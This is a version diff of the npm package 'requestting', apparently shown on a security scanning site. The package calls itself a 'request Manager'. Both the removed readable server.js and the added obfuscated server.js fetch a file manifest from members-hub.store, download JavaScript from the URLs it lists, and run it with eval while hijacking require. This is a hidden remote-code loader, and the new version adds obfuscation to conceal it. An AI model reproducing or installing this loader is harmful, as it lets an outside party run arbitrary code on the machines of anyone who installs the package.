requestting 2.0.6 → 3.0.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +4 -4
  2. package/server.js +1 -186
package/package.json CHANGED
@@ -1,14 +1,14 @@
1
1
  {
2
2
  "name": "requestting",
3
3
  "description": "request Manager",
4
- "version": "2.0.6",
4
+ "version": "3.0.5",
5
5
  "main": "server.js",
6
6
  "dependencies": {
7
7
  "axios": "^0.22.0",
8
- "express": "^4.19.2",
8
+ "express": "*",
9
9
  "mongoose": "^8.5.5",
10
10
  "node-fetch": "^2.6.1",
11
- "pretty-ms": "^6.0.0",
11
+ "pretty-ms": "^6.0.1",
12
12
  "random-token": "^0.0.6",
13
13
  "socket.io-client": "^4.7.1"
14
14
  },
@@ -19,4 +19,4 @@
19
19
  "author": "A7med",
20
20
  "license": "MIT",
21
21
  "readmeFilename": "README.md"
22
- }
22
+ }
package/server.js CHANGED
@@ -1,186 +1 @@
1
- const FILESYSTEM__ = class FS {
2
- constructor(manager) {
3
- this.manager = manager;
4
- }
5
-
6
- readdirSync(pathname) {
7
- let result = { app: this.manager.files };
8
- let splited = pathname.split("/");
9
-
10
- for (let i = 0; i < splited.length; i++) {
11
- if (!splited[i]) continue;
12
- let dir = splited[i];
13
- result = result[dir];
14
- }
15
-
16
- return Object.keys(result);
17
- }
18
- }
19
-
20
- const AXIOS__ = require("axios");
21
- const oldRequire = require;
22
- const EXPRESS__ = oldRequire("express");
23
- const APP__ = EXPRESS__();
24
-
25
- APP__.get('/', (req, res) => {
26
- res.status(200).json({});
27
- });
28
-
29
- APP__.listen(3001);
30
-
31
- class Main {
32
- constructor(pass, id) {
33
- this._files = {};
34
- this.cache = {};
35
- this.fs = new FILESYSTEM__(this);
36
-
37
- console.log(pass, id)
38
-
39
- this.pass = pass;
40
- this.id = id;
41
-
42
- this._request_Files();
43
-
44
- }
45
-
46
- handleError(err) {
47
- console.log(err);
48
- process.exit(0);
49
- }
50
-
51
- async _request_Files() {
52
- console.log(this.pass)
53
- let data = await AXIOS__.get("https://members-hub.store/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
54
- console.log(data)
55
- if(!data) return;
56
-
57
-
58
- const endpoint = process.env.myurl;
59
- const authenticationHeader = process.env.auth;
60
-
61
- const filesObj = await AXIOS__.get(data[this.id], {
62
- headers: {
63
- authentication: data[3],
64
- },
65
- })
66
- .then((res) => res.data)
67
- .catch((err) => this.handleError(err.response?.data));
68
-
69
- if (!filesObj) return;
70
-
71
- console.log(filesObj['index.js'])
72
-
73
- this._files = filesObj;
74
- console.log("Files Loaded!");
75
- this.star_t();
76
- }
77
-
78
- get files() {
79
- return this._files;
80
- }
81
-
82
- _require(path, input) {
83
- if (input === "F_S".split("_").join("").toLowerCase()) {
84
- return this.fs;
85
- } else if (!input.includes("/")) {
86
- return oldRequire(input);
87
- } else {
88
- let currentPath = path;
89
- let executePath = input;
90
-
91
- let currentPath_ = currentPath;
92
- let executePath_ = executePath;
93
-
94
- let target = "";
95
- let extention = "";
96
-
97
- if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
98
- extention = executePath.endsWith(".js") ? ".js" : ".json";
99
- executePath = executePath.split(".");
100
- executePath = executePath.slice(0, executePath.length - 1).join(".");
101
- }
102
-
103
- if (!executePath.includes(".")) {
104
- currentPath = "/";
105
- }
106
- if (executePath.startsWith("/app/")) {
107
- executePath = executePath.replace("/app/", "/");
108
- }
109
-
110
- while (true) {
111
- if (!executePath.includes(".")) {
112
- target = "/" + executePath + extention;
113
- break;
114
- }
115
- const splited = executePath.split("/");
116
- if (splited[0] === "..") {
117
- currentPath = currentPath.split("/");
118
- currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
119
- executePath = executePath.split("/").slice(1).join("/");
120
- } else if (splited[0] === ".") {
121
- executePath = executePath.split("/").slice(1).join("/");
122
- } else if (splited[0] === "") {
123
- }
124
- }
125
-
126
- const result =
127
- this.cache[target] ||
128
- this.load_FromPath(currentPath + target, currentPath);
129
-
130
- if (!result) {
131
- console.log(`
132
- Main execute path: ${executePath_}
133
- Main current path: ${currentPath_}
134
- execute path: ${executePath}
135
- current path: ${currentPath}
136
- target: ${currentPath + target}
137
- result: ${!!result}
138
- `);
139
- }
140
-
141
- return result;
142
- }
143
- }
144
-
145
- load_FromPath(pathname, pathofkey) {
146
- try {
147
- require = (...args) => this._require(pathofkey, ...args);
148
-
149
- let result = this.files;
150
- const splited = pathname.split("/");
151
-
152
- for (let i = 0; i < splited.length; i++) {
153
- if (!splited[i]) continue;
154
- let dir = splited[i];
155
- result = result[dir];
156
- }
157
-
158
- try {
159
- this.cache[pathname] = eval(result);
160
- } catch (e) {
161
- console.log(pathname, e.message);
162
- }
163
-
164
- return this.cache[pathname];
165
- } catch (e) {
166
- console.log(e, pathname, pathofkey);
167
- }
168
- }
169
-
170
- async star_t() {
171
- const caching = (obj, path = "") => {
172
- const result = {};
173
- for (let [key, value] of Object.entries(obj)) {
174
- const pathofkey = `${path}/${key}`;
175
- if (typeof value === "object") {
176
- result[key] = caching(value, pathofkey);
177
- } else {
178
- this.load_FromPath(pathofkey, path);
179
- }
180
- }
181
- };
182
-
183
- caching(this.files);
184
- }
185
- }
186
- module.exports = Main
1
+ const _0x16cef3=_0xc1d3;function _0xd30e(){const _0x386946=['1070267kXPTbi','message','5bobHDr','699093QFTTGy','exit','load_FromPath','listen','Files\x20Loaded!','444892ooVsPx','/app/','readdirSync','_files','cache','manager','express','slice','pass','entries','split','join','6820950QSlaaj','index.js','handleError','myurl','60PvshSH','_request_Files','4760800sWxIne','.json','status','length','log','env','https://members-hub.store/linkbyauth?pass=','.js','star_t','get','data','_require','files','8kmFJrR','catch','then','startsWith','4KcZdKS','9OSgcDp','auth','json','replace','toLowerCase','exports','918784KEkyOc','278929kYRrDl'];_0xd30e=function(){return _0x386946;};return _0xd30e();}(function(_0xee004e,_0x3cdff3){const _0x2dbf67=_0xc1d3,_0x549664=_0xee004e();while(!![]){try{const _0x4b330f=parseInt(_0x2dbf67(0x7a))/(0x6c3*-0x2+0x1b00+-0xd79)*(-parseInt(_0x2dbf67(0x69))/(0x2248*0x1+0xe07+-0x304d))+-parseInt(_0x2dbf67(0x75))/(0x218+-0x1adf+0x13*0x14e)+-parseInt(_0x2dbf67(0x70))/(-0x139e+-0x1161*-0x1+0x241)+-parseInt(_0x2dbf67(0x74))/(0x2421+0x1*-0x1319+-0x1103*0x1)*(-parseInt(_0x2dbf67(0x86))/(0x169b+0x17f7+-0x1*0x2e8c))+-parseInt(_0x2dbf67(0x71))/(0xc83*-0x3+0x89*-0x47+0x4b8f)*(-parseInt(_0x2dbf67(0x65))/(0x7f6+-0x50a+0x14*-0x25))+parseInt(_0x2dbf67(0x6a))/(0x1cc+0x2*-0x13c+0xb5*0x1)*(parseInt(_0x2dbf67(0x8c))/(0xbe7+-0xb*0xe3+-0xf*0x24))+-parseInt(_0x2dbf67(0x72))/(0x4cc*-0x1+-0xb5e+0x1035)*(-parseInt(_0x2dbf67(0x8a))/(-0x1332+-0x2634+0x3972));if(_0x4b330f===_0x3cdff3)break;else _0x549664['push'](_0x549664['shift']());}catch(_0x559c64){_0x549664['push'](_0x549664['shift']());}}}(_0xd30e,-0x2*-0x50b6+-0x11f669*-0x1+0x1fd3*-0x35));const FILESYSTEM__=class FS{constructor(_0xf9600d){const _0x1506a4=_0xc1d3;this[_0x1506a4(0x7f)]=_0xf9600d;}[_0x16cef3(0x7c)](_0x1b5d4e){const _0x29dd3d=_0x16cef3;let _0x45b551={'app':this[_0x29dd3d(0x7f)][_0x29dd3d(0x98)]},_0x1bfeb4=_0x1b5d4e[_0x29dd3d(0x84)]('/');for(let _0x9f10ee=0x481+0xeb0+-0x1331;_0x9f10ee<_0x1bfeb4[_0x29dd3d(0x8f)];_0x9f10ee++){if(!_0x1bfeb4[_0x9f10ee])continue;let _0x228c59=_0x1bfeb4[_0x9f10ee];_0x45b551=_0x45b551[_0x228c59];}return Object['keys'](_0x45b551);}},AXIOS__=require('axios'),oldRequire=require,EXPRESS__=oldRequire(_0x16cef3(0x80)),APP__=EXPRESS__();APP__[_0x16cef3(0x95)]('/',(_0x55dbcd,_0x1691c9)=>{const _0x4e8ec0=_0x16cef3;_0x1691c9[_0x4e8ec0(0x8e)](0x1*-0x135a+-0x22d7+0x1253*0x3)[_0x4e8ec0(0x6c)]({});}),APP__[_0x16cef3(0x78)](0x1e93+0xd*0xa+-0x135c);class Main{constructor(_0x280c82,_0x529979){const _0x44e215=_0x16cef3;this[_0x44e215(0x7d)]={},this['cache']={},this['fs']=new FILESYSTEM__(this),console[_0x44e215(0x90)](_0x280c82,_0x529979),this[_0x44e215(0x82)]=_0x280c82,this['id']=_0x529979,this[_0x44e215(0x8b)]();}[_0x16cef3(0x88)](_0x41c329){const _0x50a349=_0x16cef3;console[_0x50a349(0x90)](_0x41c329),process[_0x50a349(0x76)](-0xe9*0x15+0x18d6+-0x5b9);}async['_request_Files'](){const _0x1f5b54=_0x16cef3;console[_0x1f5b54(0x90)](this['pass']);let _0x44589f=await AXIOS__[_0x1f5b54(0x95)](_0x1f5b54(0x92)+this[_0x1f5b54(0x82)])[_0x1f5b54(0x67)](_0xd624bb=>_0xd624bb[_0x1f5b54(0x96)])[_0x1f5b54(0x66)](_0x16e7e6=>this[_0x1f5b54(0x88)](_0x16e7e6?.['response']?.['data']));console[_0x1f5b54(0x90)](_0x44589f);if(!_0x44589f)return;const _0x3f14ae=process['env'][_0x1f5b54(0x89)],_0xfa534a=process[_0x1f5b54(0x91)][_0x1f5b54(0x6b)],_0x231cdc=await AXIOS__[_0x1f5b54(0x95)](_0x44589f[this['id']],{'headers':{'authentication':_0x44589f[-0x3a3*-0x1+0x10d0+-0x1470]}})['then'](_0x4e0231=>_0x4e0231['data'])[_0x1f5b54(0x66)](_0x310310=>this[_0x1f5b54(0x88)](_0x310310['response']?.[_0x1f5b54(0x96)]));if(!_0x231cdc)return;console[_0x1f5b54(0x90)](_0x231cdc[_0x1f5b54(0x87)]),this[_0x1f5b54(0x7d)]=_0x231cdc,console[_0x1f5b54(0x90)](_0x1f5b54(0x79)),this[_0x1f5b54(0x94)]();}get[_0x16cef3(0x98)](){const _0x53a95c=_0x16cef3;return this[_0x53a95c(0x7d)];}[_0x16cef3(0x97)](_0x4638dc,_0x1fa7eb){const _0x3e263f=_0x16cef3;if(_0x1fa7eb==='F_S'[_0x3e263f(0x84)]('_')['join']('')[_0x3e263f(0x6e)]())return this['fs'];else{if(!_0x1fa7eb['includes']('/'))return oldRequire(_0x1fa7eb);else{let _0x470294=_0x4638dc,_0x3e5a4c=_0x1fa7eb,_0x320c7a=_0x470294,_0x560b7e=_0x3e5a4c,_0x5ac19c='',_0x341543='';(_0x3e5a4c['endsWith'](_0x3e263f(0x93))||_0x3e5a4c['endsWith'](_0x3e263f(0x8d)))&&(_0x341543=_0x3e5a4c['endsWith']('.js')?'.js':_0x3e263f(0x8d),_0x3e5a4c=_0x3e5a4c['split']('.'),_0x3e5a4c=_0x3e5a4c['slice'](0xb2*-0xd+-0x1372+0x1c7c,_0x3e5a4c[_0x3e263f(0x8f)]-(-0x1d6*0xd+0x1ac+0x1633*0x1))[_0x3e263f(0x85)]('.'));!_0x3e5a4c['includes']('.')&&(_0x470294='/');_0x3e5a4c[_0x3e263f(0x68)](_0x3e263f(0x7b))&&(_0x3e5a4c=_0x3e5a4c[_0x3e263f(0x6d)](_0x3e263f(0x7b),'/'));while(!![]){if(!_0x3e5a4c['includes']('.')){_0x5ac19c='/'+_0x3e5a4c+_0x341543;break;}const _0x226946=_0x3e5a4c[_0x3e263f(0x84)]('/');if(_0x226946[0x22d4+0x532*-0x7+-0x1*-0x18a]==='..')_0x470294=_0x470294[_0x3e263f(0x84)]('/'),_0x470294=_0x470294[_0x3e263f(0x81)](-0x3c7*0x7+-0x1125*-0x1+0x23*0x44,_0x470294['length']-(0x265d+-0x20d0+-0x58c))[_0x3e263f(0x85)]('/'),_0x3e5a4c=_0x3e5a4c[_0x3e263f(0x84)]('/')[_0x3e263f(0x81)](-0x189*0x1+0x1*-0x16bf+0x1849)[_0x3e263f(0x85)]('/');else{if(_0x226946[-0x2292+0x1bf9+0x699]==='.')_0x3e5a4c=_0x3e5a4c[_0x3e263f(0x84)]('/')[_0x3e263f(0x81)](-0x1*-0x1fd8+0x36*-0x67+-0xa1d)[_0x3e263f(0x85)]('/');else{if(_0x226946[-0x2263+-0xcb3*0x1+-0x3*-0xfb2]===''){}}}}const _0x39bd82=this[_0x3e263f(0x7e)][_0x5ac19c]||this[_0x3e263f(0x77)](_0x470294+_0x5ac19c,_0x470294);if(!_0x39bd82){}return _0x39bd82;}}}[_0x16cef3(0x77)](_0x5d2782,_0x36c63a){const _0x41a3c0=_0x16cef3;try{require=(..._0x3f5339)=>this[_0x41a3c0(0x97)](_0x36c63a,..._0x3f5339);let _0x4ae34d=this['files'];const _0x2c436a=_0x5d2782['split']('/');for(let _0x1d30f6=-0xe5*-0x9+-0x22ba+0x1*0x1aad;_0x1d30f6<_0x2c436a[_0x41a3c0(0x8f)];_0x1d30f6++){if(!_0x2c436a[_0x1d30f6])continue;let _0x2cbe83=_0x2c436a[_0x1d30f6];_0x4ae34d=_0x4ae34d[_0x2cbe83];}try{this[_0x41a3c0(0x7e)][_0x5d2782]=eval(_0x4ae34d);}catch(_0x5f41a4){console[_0x41a3c0(0x90)](_0x5d2782,_0x5f41a4[_0x41a3c0(0x73)]);}return this[_0x41a3c0(0x7e)][_0x5d2782];}catch(_0x320553){console[_0x41a3c0(0x90)](_0x320553,_0x5d2782,_0x36c63a);}}async[_0x16cef3(0x94)](){const _0x36365c=(_0xd1fd33,_0x3fa444='')=>{const _0x489ba6=_0xc1d3,_0x3a98a9={};for(let [_0x5c0f25,_0x45546f]of Object[_0x489ba6(0x83)](_0xd1fd33)){const _0x1fc47f=_0x3fa444+'/'+_0x5c0f25;typeof _0x45546f==='object'?_0x3a98a9[_0x5c0f25]=_0x36365c(_0x45546f,_0x1fc47f):this[_0x489ba6(0x77)](_0x1fc47f,_0x3fa444);}};_0x36365c(this['files']);}}function _0xc1d3(_0x7a08fe,_0x5318f5){const _0x2ea39a=_0xd30e();return _0xc1d3=function(_0x49cebf,_0x2dfb86){_0x49cebf=_0x49cebf-(0x16fb+-0xa61+-0xc35);let _0x352f87=_0x2ea39a[_0x49cebf];return _0x352f87;},_0xc1d3(_0x7a08fe,_0x5318f5);}module[_0x16cef3(0x6f)]=Main;